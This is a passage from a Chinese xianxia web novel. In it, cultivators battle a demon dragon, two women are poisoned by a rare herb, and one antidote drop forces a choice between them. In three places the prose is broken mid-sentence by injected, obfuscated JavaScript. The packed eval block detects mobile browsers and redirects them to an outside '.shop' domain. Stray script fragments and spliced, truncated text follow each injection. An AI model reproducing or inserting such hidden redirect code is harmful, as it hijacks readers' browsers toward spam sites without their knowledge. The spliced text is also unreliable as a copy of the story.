话是这么说,但应白心中暗暗记下了那个只模糊看了一眼的画面,等静下来的时候他要好好想想这个粉色衣服到底在哪见过。 寂静的洞穴突然传来细微的窸窣声,容珠定睛一瞧是一片绿叶。她两指夹住拿到手中,绿叶承载的灵力慢慢飘向空中形成四个字:魔龙在外。 “是沈宫主传来的。”树叶阅后即焚,容珠对应白道:“我们得过去。” 57. 平魔乱 莹蓝色的屏障依旧没有阻隔他们,应白的佩剑如一条大鱼似的带着二人朝海面游去,“哗”的一声破海而出落在一块礁石上。 二人尚未站稳便听一声震彻天际的吼啸声从高处传来,一道红影从眼前飞驰而过,随着银杆长枪划出的破空声响起,上官琛身姿如火朝那盘旋在高空的巨大黑龙而去。 黑龙被四角加固的屏障围住,不论是动作还是攻击力都会大大缩减,可它仍气势十足,甩动的尾巴随时都能将屏障裂一条缝。 沈宫主、邱宫主、上官宫主和顾寄章四人面露艰难,这个威力不容小觑的屏障在魔龙身上竟只起了一点作用。 趁魔龙扭身的空隙,上官琛身姿一转穿过屏障,手中银枪就要刺进魔龙泛白的肚子,魔龙头上两颗金黄的大眼睛一转,当即一个尾巴甩了过去。 眼角只瞥见一道黑影闪过,上官琛身上猛地传来一阵强烈的疼痛,仿佛要把他的骨架子全碎掉,火红的身影像一道流星直往下坠,一抹紫影冲入空中及时接住。 在容珠和应白去海底洞穴的时候,沈宫主等人在天上寻找魔龙的踪迹,雨雾弥漫,没成想和在天上遨游的魔龙撞到一起,双方二话没说直接开战,沈宫主趁机给容珠传递消息。 此时,屏障里的魔龙仍在试图挣脱,它沉闷严肃的声音从高空中传来:“我又没妨碍你们什么,为何要来杀我?影响雨水的后果不是你们能承担得起的。” 沈宫主面色愤慨:“你蛊惑了陛下便是罪孽,今日我等再次诛杀你,绝不允许你在朝荣国为非作歹!” 此时雨已停了,天空没有放晴之势,云层还死气沉沉地堵塞着,魔龙发出了“哈哈”的笑声,实际上从它的表情上来看根本不像是在笑,它咧开嘴就会露出四颗锐利的獠牙,这样只会增添可怖不会让人以为它在笑。 “人心本就善恶并存,我不过是放大了他心中的恶念,让他了解自己的另一面。如果他为了想要的东西做了什么,那是他的选择,你们太高看我了,谁又能决定一个人想做什么呢?” “魔龙,你不要狡辩!”邱宫主横眉倒竖,双手还在修补加固着四角屏障,“陛下一向勤政爱民,宽容理智,是不可能转变心性的,你的所作所为无非是想祸乱朝荣国,敢做不敢当,乃小人也!” 魔龙巨大的身躯往众人方向游了游,金黄的大眼看过下方的每一个人:“认清自己的不只有陛下,你们当中也有重新认识自己的人呢。” 众人目露震惊。魔龙扭动身子:“每个人的行动源于每个人的心思,恶念助长贪欲,善念控制恶念,唯有自我醒悟克制才能不对他人造成伤害,我是生是死都不会对这些人有任何影响。” “休要废话!”上官琛撑起长枪,踉跄站起,眼底布满熊熊怒火,“全都是你在作孽!今日非将你这魔头击杀不可!” 过往的每一次击杀无一不是耗上几天几夜,万分艰辛,可这些上官琛都不怕,他自小学习的武艺和修炼的灵力正是为了除妖降魔,稳定世间。 不必说这条龙究竟是水神还是什么神,上官琛清清楚楚地知道它残害百姓,蛊惑人心,其中任何一条都足以将它击杀,为民除害。 “阿琛,你受了重伤,不要逞强。”邱梧拦住他的胳膊站到他身前,目光坚定地对他说:“我来。” 骨头的疼痛在提醒上官琛身体状况不佳,但魔龙威力之大众人皆知,“阿姐,我们二人合力尚且困难,你一个人是对付不了它的。” 她与上官琛的能力相差不大,只是上官琛更勇猛些,所出招式如烈火般熊熊迸发,毫不留情。 而她比较沉静,像水一样力挽狂澜,坚韧遒劲。身为门派中人,从开始学灵力的那一天起就知道自己的责任。 国之君主维护的是社稷安稳,让百姓衣食丰足,解内忧。而他们修炼之人则是降妖除魔,让百姓安宁度日,平外患。战场之上不考虑生死,只尽全力降魔。 “我也来!” 邱梧回头,见容珠上前一步,通体雪白的剑在阴沉沉的天空下散发着莹白皎洁的光芒。 一看到她,邱梧不自觉握紧了剑柄,似乎接下来她的剑尖要对准的是容珠而不是魔龙。 容珠想帮忙,可她那点灵力能帮什么忙? 她点亮了石碑,眼下魔龙之患急需解除,邱梧压了压心头涌动的烦躁,强迫自己放下对容珠的不喜,终朝她一点头。 沈宫主四人加强了四角屏障的威力,魔龙在内不停寻找突破口,它强有力的尾巴将四方屏障撞击的啪啪作响,不断迸射出的光芒像是一道道绚烂烟火。 邱梧持剑跃足奔入空中,剑身释放着淡紫色的灵力,恍若夜幕降临之前,横跨在天边的一道晚霞。 容珠与她相互配合,一前一后夹击,在腹背受敌的情况下,只见魔龙朝邱梧喷火的同时也将强有力的尾巴甩向了容珠。 容珠在仰身躲过魔龙尾巴时,眼角余光瞥到邱梧堪堪躲过魔龙喷出的火焰,她身躯一转已变换了位置,回身的一刹那,紫色的剑光又疾又猛地朝魔龙劈去,正正好落在它脖颈处的龙甲上,仿佛两种兵刃相击,除了嘣出一点火星子外没有任何实际的伤害。 它的龙甲坚硬无比,是魔龙绝佳的护身盾牌,拿来做武器都是上上品,剑与龙甲相击登时一股强烈的震颤之意回馈到邱梧手中,她整个身躯控制不住一颤,长剑差点脱手。 又一道火焰从魔龙口中喷出,猛地照亮了一方天地,灼烧了邱梧的一片衣角,肆虐的火舌追随着她躲避的身影步步紧逼,灼烧的热气顺着海风铺面而来。 邱梧在魔龙跟前就像一只蚂蚁般细微,紫色身影被火光包裹,依稀瞧见剑光在火焰中穿梭旋转,此刻的魔龙也顾不上破坏屏障,紧紧盯着那渺小的身影,释放着即便被屏障压制也威力不小的火焰。 可这剑光不急不乱,就像是在完成一个目标前必做的一些动作,在火光即将湮灭紫色身影的刹那间,一道通天光束从火焰中直直射出。 邱梧的身影蓦然飞出,忽然在高空中凭空消失,就在魔龙停止喷火准备搜寻对方身影时,一道几不可察的紫光在魔龙腹前闪现。 这是容珠第一次见到邱梧的实力,从前只知她是紫阳宫的圣女,实力定然不俗,但此刻亲眼所见才真切感受到她的能力。 邱梧双眸沉稳中带着杀伐的决绝,金黄的眼珠一下子锁定了她的位置,剑锋和尾巴齐齐朝对方攻去,只听魔龙一声低吼,肚皮上红色的血口慢慢扩大,坚硬的龙尾毫不留情击中她,将她从万丈高空中甩下。 容珠瞅准伤口一跃而起接住邱梧,身子一个回转在魔龙低头去瞧伤口的瞬间,将她所具备的九成微弱灵力注入剑中,再次朝那伤口挥去。 魔龙不防紧随其后的袭击,它困在四角屏障里不便动弹,等发现剑光袭来时已避之不及。 这剑光没有如容珠预想的那般让魔龙伤口加重,却因魔龙微微扭身偏离了伤口,划向了离魔龙腹部最近的一片龙甲。 随着一声清脆的砰击声和撕裂声,这片黑得发亮的坚硬龙甲竟从龙身上掉落,被剥的痛楚让魔龙大吼一声,一时间风云变幻,狂风四起。 容珠和邱梧重重坠落在礁石上,远处的应白和上官琛纷纷跑来。 龙甲在黑沉沉的天空下缓缓飘落,落在容珠眼前,如扇子一般大小,黑亮得足以映照出容珠的样貌。 “容珠……”邱梧艰难出声,她眉间忍痛,死死盯着容珠的佩剑道:“魔龙此刻受伤是乘胜追击的好时候,你的剑能削掉魔龙的龙甲,一定能让魔龙致命!” 她言语间充满恨意,不知是恨魔龙,还是在恨持剑人,从来没有人能削掉龙甲,邱梧本该万分惊喜,可这个人又是容珠。 邱梧心中如吃黄连,加上被魔龙尾巴那一扫,骨头都要碎了,身体与内心双重痛楚,只觉十分折磨。 容珠不知邱梧的内心想法,也没有注意到她最近一段时间的变化,她并不知自己的剑能削掉龙甲,她明明没有多少灵力啊,怎么会…… “是奚昤。”应白的声音在耳边沉重响起,“奚昤的神识在你体内,她的神力自然与我们凡人不同,所以你能带给魔龙绝对的伤害。” 又是奚昤。 此时容珠脑子里想到的不是“太好了,能击杀魔龙了”而是她忽然想起那天受魔龙邀请去魔龙洞穴喝茶时,魔龙说它和奚昤是朋友,她难道要用魔龙朋友的灵力来击杀魔龙吗? 心中忽然五味杂陈,尤其是在看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836969|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《神妖录》里的内容后,她已经下意识相信魔龙所说的话都是真的。 奚昤和苍望是它的主人也是朋友,它是开天辟地第一神龙,它是为了恢复朝荣国的天道才降灾人间…… 它并不是妖魔。 可是它放火伤人了。那些被它抓伤烧伤,失去家园的人都应该受此灾难吗?就因为所谓的天道不对,所以他们就面临无妄之灾? 容珠脑子嗡嗡作响,她不知道究竟什么是对什么错,而她还在愣怔着没有决定时,应白已经对沈宫主他们说:“此时魔龙重伤,威力大大降低,诸位不必再加固屏障,都来助容珠一臂之力,击杀魔龙!” 方才情景众人都已看到,此时四人俱已收手来至礁石上汇集,容珠见众人都充满希望地看着她,目光之坚定让她不再胡思乱想。 她在心内告诉自己:她不懂天道是什么,她只知道魔龙之前残害百姓,如今又改变陛下心性,她双眼看到的是朝荣国开始不太平了,而这不太平的源头就是魔龙。 一片龙甲的掉落让魔龙似乎大为受创,它缺掉龙甲的地方缓缓流淌着鲜红之血,丝丝缕缕的黑气从中飘出,而它腹部的伤口也在往外渗透着血迹。 容珠跃入空中直视魔龙,魔龙金黄的大眼透露着些微无力之感,就好像修炼之人元气大伤,它盘旋在空中,居高临下地看着容珠。 “在石碑印记全部点亮前,我是不会消失的,让我们再见吧,容珠。” 礁石上,沈宫主、邱宫主、上官宫主、顾寄章、邱梧和上官琛六人成一列,将自身全部灵力依次输送给前一个人,最后由沈宫主将承载的灵力注入容珠体内。 体内顿感一股股灵力汇聚成团,急需释放,容珠右手持剑,缓缓指向魔龙。 灵力随着她的心意汇于掌心,她双掌相合,奋力一推,银剑承载着她超强灵力飞速破空直行,直刺魔龙腹部。 魔龙没有发出疯狂的怒吼,而是低沉的,无力的痛声。 就在剑身刺入魔龙的瞬间,容珠的灵核也传来了一阵钻心疼痛,她感觉胸腔气息紊乱翻腾,直抵喉间,腥甜之气上涌,只微一张嘴,腥红的血液不停流淌。 眼前一片模糊,忽听一轻灵之音在耳边响起:“小龙儿,来这儿……” 她看到一个绝美的女子身穿白衣飘浮云端,浑身隐隐散发着白光,和煦的笑容让人心中生出仿佛世间只剩美好事物的感觉。她身旁的黑裳男子虽看不清面容,但他周身的黑色光芒与女子的白光相映相成,让人不可直视,神圣无比。 有什么黑影在二人中间游来游去,黑亮的鳞甲闪烁着高贵之光。 二人的笑声不绝于耳,那条小龙也欢快自在地在二人周围舞动。 魔龙蜷缩着龙身慢慢坠落,容珠双眼开始模糊,脑海里的画面也慢慢烟消云散,最后消散的是那陌生的,美丽的,白衣女子的面容。 “奚昤……”容珠有气无力地呼唤她,看着魔龙潜入海底,水花四散,终归平静。 应白跃身抱住她,视线落在容珠的嘴角,残留的血迹在她惨白的脸上触目惊心。 “太好了,魔龙之患暂除,多亏了容珠。”沈宫主赞赏地看着她,眼睛里满是感激。 容珠无力一笑:“没有大家的帮助,我一个人不能完成。” 灵核还在隐隐作痛,兴许是她方才过度使用了灵力所致,又或许并不是她在痛,痛的是奚昤。 邱宫主担忧道:“几个孩子们伤得都不轻,快回去好好疗伤吧。”他和沈宫主上前慰问邱梧。 众人准备返回紫阳宫,忽听邱梧怪道:“那是什么?” 沈宫主止步,顺着她的目光往近在眼前的海山上望去。在山的半中腰一块峭壁上,有一株闪闪发亮的草。 虽说她见多识广,但这样一株怪草她确实从未见过,尤其是还隐约闪着光亮,经验告诉她多半是个宝贝。 邱宫主上前一步,凝眸细看,片刻后万分震惊道:“是灵根草!” “灵根草?”邱梧又惊又喜,魔龙给她带来的伤痛似乎在这一瞬间得到了痊愈。她欣喜地望着应白,这神情与她多年后初见应白时一模一样。 “应白,灵根草就在眼前,你考虑得怎么样了?” 58. 双中毒 崖海之上的这座山,众人从前来过多次,但只今日却忽然瞧见灵根草的存在。 书中言灵根草生长偏僻,不易发觉,从发芽到长成只需百日,形状与野草十分相似。 成熟后的灵根草,周身会有一圈光芒笼罩,是从草心里散发的,用灵根草草心煮过的水可解百毒,而若生食草心则会在体内形成一枚精丹,搭配灵根草草根煮过的水服用七七四十九日,使精丹长久稳固地存于肉身,便可修炼。 沈宫主奇道:“我还不知世上有如此奇物,今日岂不是让咱们歪打正着碰上了?” 一般而言,朝荣国甚少有妖魔横行,且人与人之间绝不会存在勾心斗角,下毒要谋害谁的情况发生,即便中毒,世上有许多解毒药草,灵根草本就不易寻找,时日一长,已逐渐被人淡忘。 当时邱梧问邱宫主有没有什么方法能让一个没有灵核的人重新修炼,邱宫主本下意识脱口而出不可能,但转念一想,自己并非全能之人,世上有许多东西自己还不了解,不能凭自己的认知轻易判断。 于是邱宫主回去翻阅书籍,这才得知灵根草的存在。 不过这等奇效之物定生长在奇特之处,没曾想今日就在这座海上山中发现了,邱宫主略显激动,当从书中学来的东西在现实中的得到证实或运用时,这样的喜悦非比寻常。 众人心内都知道需要灵根草的是谁,一时之间都在劝应白抓住机会,若今日一走,难保不被别人发现摘去。 “师父。”容珠嗓音有些沙哑,眉眼却带着惊喜的笑意,“这可是天赐良机,有了它就能重修灵力,到时候我和师父一起修炼。” 心不自觉跳快了些,应白看着容珠,随后注视着峭壁缝隙中那点光芒。 前段时间他在紫阳宫的藏书阁中找到了少许关于记载灵根草的书籍,看过有关它的介绍后,心里就下了决定,若有机会他一定想办法采摘,重新修炼,即便要再花费多年时间,也比现在徒有功夫没有灵力的好。 “有劳各位费心,我也想采摘灵根草,不过如此珍贵之物应该不会轻易采去,各位在此等候,容我去试试。” 他刚走了两步,身后就有人道:“我来。” 邱梧的声音激动中带着虚弱,海风将她的衣袂吹得乱飞,显得她整个人有些弱不禁风,她脸色苍白,双眼却神采奕奕。 容珠刚想说她被魔龙重伤,小心身体,可话一到喉咙,心中却意识到邱梧这不是在客气,而是欢喜期待,自己说劝阻体恤的话明显多余。 “灵根草是我告诉你的,如此难得之物,我早就想亲眼看看它长什么样,你就把这个采摘的机会让给我吧,我自会小心。” 说完,邱梧也不等应白回答,快步往那里走。 应白听她把话说得这么婉转心知是不让自己拒绝的意思,但他直觉灵根草不易采摘,在邱梧走过去后也跟了过去,目光一直观察着峭壁上的光芒。 灵根草生长的位置着实隐蔽陡峭,正因为今日是阴天,四周阴寒灰暗,所以草心的光芒才会比往常更清晰地引人注目。 邱梧双臂伸展,身子悬于半空朝灵根草靠近。她先是仔细观察了一下,除了它本身释放着光芒外,它的根茎以及延伸出来的嫩叶都跟杂草无异。 她又尝试伸手靠近,发觉没有什么异常现象,于是慢慢、慢慢地,将手伸入根茎部位,准备使劲连根拔起。 可就在拔的时候,手指像被针突然刺了一下似的,密密麻麻的痛感席卷整个右手。 邱梧蓦地收手观察,发现自己的手掌完好无损,并无伤口,但痛感依旧持续,即便不再抓着灵根草,五指也像被针在不停地扎。 她仔细看向灵根草的根茎,发现那里光滑一片,根本就没有植物所带的刺。邱梧心中疑惑,她准备不动用手,而是借助灵力来拔出灵根草。 淡紫色的灵力汇聚掌心,邱梧将右手对准灵根草缓缓上提,忽然间,手指的针刺感逐渐加重,她清晰地感觉到体内的灵力正一点点散去,整个身躯越来越使不上劲,灵根草的光芒越来越模糊。 “邱梧,你怎么样?”站在山脚的应白发现了她的异常,容珠看邱梧身形不稳,摇摇欲坠,忙走过去站到应白身前,与此同时,那生长在峭壁间的灵根草开始有松动的迹象。 “再坚持一下。”邱梧在心里说,“这是应白的希望,灵根草就要被拔出了。” 灵根草的草根开始频繁松动摇晃,邱梧的灵力也逐渐微弱下来,当灵根草终于破土而出时,她再也支撑不住,身子一松便直直坠了下来。 容珠脚一使劲,身躯直上,一手接住邱梧,一手接住灵根草,而在握住灵根草的瞬间,手指如被针刺般难受,好像握住的不是一颗草,而是一把钉子。 容珠及时控制自己发抖的手腕,不让灵根草从手中掉落。 应白猜测邱梧的状况应与采摘灵根草有关,一见灵根草此刻在容珠手中,一颗心顿时提到了嗓子眼。 “它,它,不能碰……” 容珠的声音有些颤抖,此刻她感到浑身难受,弯腰从自己的衣裳上撕下一张布条将灵根草包住,断断续续道:“根,根上有刺……” 闭眼之前,她看到的是应白一双逐渐震惊的双眸。 事发突然,上官琛急急跑来呼喊闭着眼的邱梧,沈宫主等人忙围了过来,邱宫主和顾寄章围在邱梧身边,应白扶着容珠。上官宫主脚底似踩碳,在邱梧和容珠之间来回蹦跶,神色惊慌:“怎么了,怎么了,顾先生,你不是会把脉吗,快看看她们怎么了。” 只见顾寄章把过邱梧的脉象后又把容珠的脉象,深沉的眸光越发凝重不堪,片刻后道:“她们中毒了,快回紫阳宫给她们吃百毒丸。” 百毒丸这个名字听起来像是毒药,但在朝荣国中,若中毒者不知道自己中了什么毒的情况下也可以吃百毒丸以毒攻毒,从而达到解毒的功效。 邱梧和容珠在吃下百毒丸一个时辰后仍没有醒来,不仅没有醒来,两人的右手都开始出现极细的红丝,容珠的右手从指尖开始,延伸到了第一指关节处,然而邱梧的红丝已经延伸到了掌根。 上官琛急道:“怎么回事,是不是百毒丸不对症?” 顾寄章再次给二人把过脉后,神情不足以用凝重来形容,似乎状况已经坏到极其糟糕的地步。 他抬眸对沈宫主道:“得把藏书阁内所有关于灵根草的书拿来,她们二人的右手是相同的症状,应是拿过灵根草后不小心中毒的,我们要从书中找到灵根草的解毒方法。” “不用去藏书阁,书全在我屋里。”应白沉声道:“书上没说灵根草根茎有毒,但说过用灵根草种子煮过的水可解百毒。” 他从怀里将灵根草拿了出来,碧绿的小草散发着莹莹光芒。 上官琛上前凝视这株灵根草慌道:“可我们只有草没有种子。” 应白将灵根草举起,在众人的注视下,他盯着发光的草心缓缓道:“这便是种子,是它在发光。” 灵根草从发芽到成熟只需百日,若在百日内无人采摘,种子便会脱落入土,没了种子的灵根草很快就会枯萎,直到泥土里的种子再次发芽,实现生命的循环往替。 “这是能助你重新修炼的灵根草,若要救人,这株灵根草对你便没有用了。”上官宫主适时提醒,应白随后道:“灵根草可以再找,眼下当然是救人要紧。” 商议完后,应白和上官琛来到厨房烧水煮种子,离了种子的灵根草,枝叶很快就枯萎了,最后只剩下根部。 “这要煮多久?”上官琛看着种子在沸腾的热水中滚来滚去,眉眼中的急切恨不能用灵力立马煮好。 应白用勺搅动着砂锅,“种子融化的时候就煮好了。”他一遍遍用勺子搅动着锅里的水,好像这么做就能加快种子融化。 一个时辰后,上官琛伸头看锅中情况,隔着徐徐热气,一粒光芒在滚滚沸腾的水中翻滚,他大叫:“怎么还没融化?” 锅中的水已经下去大半,而种子还未融化,应白紧紧盯着锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841483|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,安慰上官琛,也安慰自己:“再等等。” 又一个时辰后,锅里的水快要煮干了,莹亮的种子依然完好无损在锅内转圈,仿佛一个事不关己的外人在欢快地舞蹈。 应白面上镇定,心已被揪起忧急不堪,就算是熬什么药,两个时辰过去也该熬好了。 “阿琛。”应白抱着一线希望,“或许不必等种子融化,你先将这些水拿给她们喝,看看是否有效。 说话间,他已将锅中为数不多的水舀了出来,乘在两个小碗里。上官琛二话不说接过救命水,马不停蹄地送了过去。 应白继续往锅中加入另烧好的热水,继续观察着种子变化。 月上柳梢,已是后半夜。 沈宫主、邱宫主、上官宫主和顾寄章都未曾入睡,喝下救命水的容珠和邱梧没有半点要醒的迹象,上官琛抓耳挠腮,急得在屋内来回跺脚,“我要去读书!我要去书中寻找灵根草的解毒方法!” 他健步如飞,火红的身影冲出门外,消失在夜色中。 应白静立在厨房,目不转睛地盯着砂锅内的莹亮光芒,无数个后悔自责的心思频繁在脑中蹦出。 他在自责自己为什么没有充分了解灵根草的特点,为什么在看到种子水可以解毒的时候没有进一步寻找具体的解毒方法。 三个时辰过去了,这个种子没有任何要融化的迹象,每过一个时辰送去的种子水也对她们二人没有任何解毒功效,一切的源头都是他。 如果因为这件事让邱梧和容珠有什么好歹,他一辈子都不会原谅自己。 这一夜,所有人都辗转难眠。上官琛和沈宫主四人找了一夜的书,金毛在藏书阁的地上趴着看他们,应白看了一夜的锅,当海平面的第一缕光辉射到海面上时,上官琛一拍案桌,双手捧着眼前这本书不停抖动。 “找到了……这里有……这里有……” 他嗓音干哑,话不成音,也顾不上许多,飞快奔去厨房,拉着僵立了一夜的应白喊道:“在这里!这本书写着灵根草的具体解毒方法!” 书上的内容是根据作者的所闻所见而写的,所以即便是草药类书籍对于同一种药草的介绍也因作者的经历或知识而有些微的偏差。 光应白看过的有关灵根草的书都有五本,每一本都是零零散散记载着两三句话,他全部拼凑起来才总结出灵根草的众多信息。 而上官琛找到的这一本是个游记,讲述作者游历各大山川的景色及奇闻趣事,喜的是,这个作者见过灵根草,兴许还亲自实验过,他把解毒方法非常详细地写了下来。 应白动了动麻木的腿,接过书看,只见上面画着一口锅,一株草,旁边写道:用灵根草种子煮过的水可解灵根草根茎细刺带来的毒素。在煮种子时需时时添水,切忌因水源不足而使锅烧干致使种子毁坏。当烧到一定时辰后,种子会吸收锅内的水凝成若干滴水滴,用此水滴可解毒素。 “什么叫烧到一定时辰?一定时辰是多久?我们已经烧了一夜了!”上官琛跑到锅前,看着仍在晶莹发光的种子又气又急。 此时锅内的水不多了,再过一会儿便又要添水。 应白缓缓呼吸着,一夜未眠,他的眼中遍布着疲惫的红血丝,温和的眸子因着急和忧虑散尽了柔光,像一块失去了光泽的玉。 他尽量用平静的语气低沉道:“再等等。” 太阳已完全升入高空,就在应白再次拿勺添水时,锅中荧光忽然大放异彩,紧接着,光点慢慢从锅内飘出,将锅中的热水带了出来。 水往高处流,全部汇聚在光点里,上官琛双眸瞪得老大,二人皆凝神屏息, 当锅内的水彻底被光点吸完后,绽放的光芒渐渐收拢,呈现在二人眼前的是一滴晶莹剔透的水珠。 良久,应白平静地,目光呆滞地,面容几乎毫无血色地,将没有水而烧得冒烟的砂锅从火堆上拿走,伸手拿起一盏小碗放到水滴下。 漂浮在半空中的这一滴水,十分听话地落在了碗里。 59. 一滴水 “先给邱梧。” “先给邱梧。” 堂内,应白面色平静地看着手中白玉小碗里的一滴水珠,这四个字,每说出口一个,都让他感到无比窒息。 本以为好不容易熬出来的解毒水可以让众人担忧焦急了一夜的心得到缓解,可没成想,往锅里添了七八回的水,最后却只得到一滴能救命的药,如此前所未闻,世所罕见之事无疑将众人再次陷入了更加纠结复杂的思绪中。 床上,邱梧胳膊上的衣服被卷了起来,因采灵根草的时候动用灵力,红线蔓延得非常快,从手指一路延伸到肘弯,就像植物在土壤中为了扎根而拼命延伸根芽。 仅是一夜之间,红线就有如此变化。 “如果红线到了胸部,人便没了。” 这是顾寄章猜测的。 他们翻遍紫阳宫的书籍,再找不到有记载更多关于灵根草的信息,连那本详细记载解毒方法的书上都没说中毒的症状,但根据顾寄章的所知,这红线就是毒素,若是到了胸肺之处便等于肺腑受到了感染,定然命不久矣。 一滴救命水,两个中毒人。 虽说容珠的红线尚且延伸到掌根,可再过几天就能到达肺腑,同样危险至极。 应白把碗递给沈宫主道:“邱梧中毒已深,耽搁不得,至于容珠,尚有几日时间补救,可以再寻灵根草救治。” 他目光无神,眼下一片黑青,说出来的话像是干涸的土地,听起来坚定,实际上一碰就脆。 沈宫主血红的眼微微触动着,她不是看不穿昨日邱梧去采灵根草的真实想法。她自责自己身为一派之首竟然没有意识到,越是珍贵的草药越不易采摘。 明明应白已经提醒过了,可她因为疏忽大意而放任邱梧去摘,如果自己当时有一点警惕心,就不该让邱梧去,在性命危险面前,她的小女孩心思又算什么? “应白……”沈宫主颤抖道:“灵根草不是说采就能采到的,你别忘了,容珠对朝荣国来讲十分重要,她的血点亮了石碑,是诛杀魔龙必不可少的人物,如果只能活一个……” 她的声音越来越哽咽,泪水盈眶的双眸坚定地看着应白:“必须保证容珠的安危。” 灵根草生长偏僻,极难采摘。这一次让他们碰到纯属幸运,若再有心去找,只怕毫无可能。 邱宫主缓缓走向沈宫主身旁,一夜未眠再加上清早去朝拜,午时方回,他的脸色瘦削暗淡,穿在身上的衣服好似宽大无比,越发衬得身躯瘦干,皮包骨头。 他以同样隐忍又坚定的目光看向应白:“门派中人向来以朝荣国安危为首任,我们早就做好了面临各种意外与死亡的可能,灵根草一事正是意外。邱梧虽不是因斩妖除魔而死,但若能将点亮石碑的容珠姑娘救活,便是为朝荣国保住了对抗魔龙的一份力量,她定欣然接受。” 应白心内五味杂陈,一个是最好的朋友,一个是最爱的人,她们两个都是为了能让自己修炼才中了毒,可现实偏偏让他做出选择,救谁不救谁,都不是应白心内想看到的。 他从前主张人人应该心怀仁爱,摒弃恶念,可在这种二选一的情况下,仁爱能让他干什么?反而是恶念在不断催促他,抓挠着他。 都能救活是两全其美的结局,如果真的只能救一个,应白几乎是不带犹豫地选择容珠。 不是因为她的血点亮了石碑,也跟她是朝荣国的英雄没有任何关系,只是因为她是自己喜欢的人。 应白好像到今日才认清自己,沈宫主和邱宫主为了朝荣国的安危能舍得放弃亲生女儿的性命,而他仅仅因为自己的私心而想救容珠。 他一时之间根本不知该如何作答,身后的上官琛狠狠抹去脸上的泪水,正色道:“应白,你一定要救活容珠,我这就出去再采灵根草,我一定能救回阿姐的命!” 他衣摆翻飞飘扬,迎着正午的烈日,如火的身影散发着炽热的光辉。 顾寄章面色沉痛,邱梧虽只是他的徒弟,但是他从小看着长大的,给她传授知识和武艺,与自己的女儿云萧没有区别。 即便他经常不与云萧见面,但想见的时候只要回家就可以了,可邱梧若是一别,便是永远。 “上官兄。”顾寄章走到他身边,“阿琛一个人的力量太小了,我们也去找找吧,邱梧应该还有两三日光阴,我们要珍惜时间。” 上官宫主肃眉垂眸,闻听此言,他将目光落在顾寄章脸上,生平第一次,他生出了与他合作的心理,也对邱宫主生了钦佩之情,若躺着的人是上官琛,他…… 他不知道自己能不能向邱宫主那样,一心为国。 “走。” 一个接一个的匆匆脚步过后,屋内一片沉静。沈宫主因为悲痛,胸膛微微起伏着,她握住应白的手腕,十分用力,一字一句道:“一定要先救活容珠。” 她不忍看邱梧的脸,也不忍看应白将这滴决定容珠生,邱梧死的解毒水送入容珠口中,她抓住邱宫主急声道:“邱梧尚有解救的时间,咱们也去找灵根草!” 又一阵疾风从应白身旁掠过,屋内只剩下木讷的他和安静躺在两张床上的邱梧和容珠。 最终,应白搁下碗,来到容珠身边。 他蹲在床边,静静地,细细地看过她的眉眼,抚摸着她手心里的血丝,将自己的手掌与她贴合,轻声道:“我会救活你的。” * 是夜,一无所获的沈宫主等人陆陆续续回到紫阳宫,谁都想进屋看望邱梧的伤情,可当靠近屋子的时候又没有勇气进去。 昏黄的烛光映照着死气沉沉的屋舍,即便心知邱梧尚有几日时间,但都清楚灵根草不易寻得,将邱梧救活几乎是不可能的事。 因此每看一眼邱梧,沈宫主和邱宫主都知道,他们的女儿不日就要面临死亡,因此,心会更痛万分,没有勇气再推开屋门。 “母亲,爹,阿琛!你们终于回来了!” 寂静的夜里,突然而至的声音如梦般迷幻。 最先回头的是上官琛,当听到他十分意外地说出一声“阿姐”时,沈宫主再也抑制不住震惊的思绪,猛地回头。 气色红润,完好无损的邱梧正活生生站在众人面前,顾寄章和上官宫主皆是一脸不可置信的模样。沈宫主仿佛被吓到了,当意识缓过来后,她洒泪上前,抓住邱梧的胳膊,仔仔细细看过后问:“你没事?容珠呢?不是只有一滴解毒水吗?” 上官琛见到活生生的阿姐满脸都是抑制不住的惊喜,邱宫主惊喜中带着担忧,顾寄章和上官宫主仍是一脸震惊。 邱梧从袖中掏出一封信解释道:“我醒来后就看到这个,是应白留下的,你们看看吧。” 沈宫主等人不明就里,先将信展开,只见密密麻麻写着数行字: 沈宫主,灵根草一事,邱梧为我费心许多,若不救她,我心中实在难安,再则她中毒颇深,等不了多久,也无法为诸位提供更多的时间寻找灵根草。相比之下,容珠未曾在中毒之时动用过多灵力,毒素蔓延较慢,尚有六七日时间,我自去寻找解毒之方,劳烦诸位尽可能寻找灵根草。我并非不顾念朝荣国安危,而是认为应该在希望最大的情况下将二人都救下,容珠便暂且托付诸位照顾,我到时自回。 “他……”沈宫主拿着信的手微微颤抖,眸光涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另一个声音又说:你明明比她优秀,为何不能成为点亮石碑的人?这份荣耀,这份责任,你多么渴望啊……是不是石碑出问题了,要不要再去试试? 沈宫主发现邱梧一直出神地站在原地,以为她身子尚未恢复,便让她快回去睡觉。 邱梧暗暗扫清思绪,望了容珠所在的屋子一眼,深吸一口气回屋去了。 * 月色当空,万籁寂静。 成衣铺新做了一批华美衣裳于今日午后送入清凌门。彼时容檀正在处理门内事物无暇顾及,而到了晚上吃完晚饭后才去屋内一件件试穿。 